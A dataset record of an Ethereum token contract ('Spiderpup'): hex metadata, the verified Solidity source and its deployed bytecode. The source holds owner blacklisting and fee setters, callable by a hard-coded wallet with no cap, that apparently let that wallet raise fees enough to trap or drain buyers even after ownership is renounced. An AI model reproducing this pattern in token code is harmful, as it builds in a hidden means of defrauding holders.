6f756e7420657863656564732062616c616e636545524332303a206164646974696f6e206f766572666c6f7720666f7220726563697069656e742062616c616e63656164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c79202b207265776172644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572206f722061646d696e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63657375627472616374696f6e206f766572666c6f7720666f7220746f74616c20737570706c796164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c797375627472616374696f6e206f766572666c6f7720666f72206c6971756964206465706f736974ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f446570726563617465626c653a20636f6e74726163742069732064657072656361746564a264697066735822122015806b87b46c722b54f5f8f50de4114610e92b1d2f590ccf5f0071b72431c67864736f6c63430006080033
{"success": true, "error": null, "results": {}}
1,758
0x234b6d52417449257c969372ca69f872e1ee1276
/** *Submitted for verification at Etherscan.io on 2021-10-31 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Spiderpup is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0x3bD631d7b35F850B0a27CC1E4BdF1680C4cA4e89); address payable private _feeAddrWallet2 = payable(0x3bD631d7b35F850B0a27CC1E4BdF1680C4cA4e89); string private constant _name = "Spiderpup"; string private constant _symbol = "SPIDERPUP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600981526020017f5370696465727075700000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5350494445525055500000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b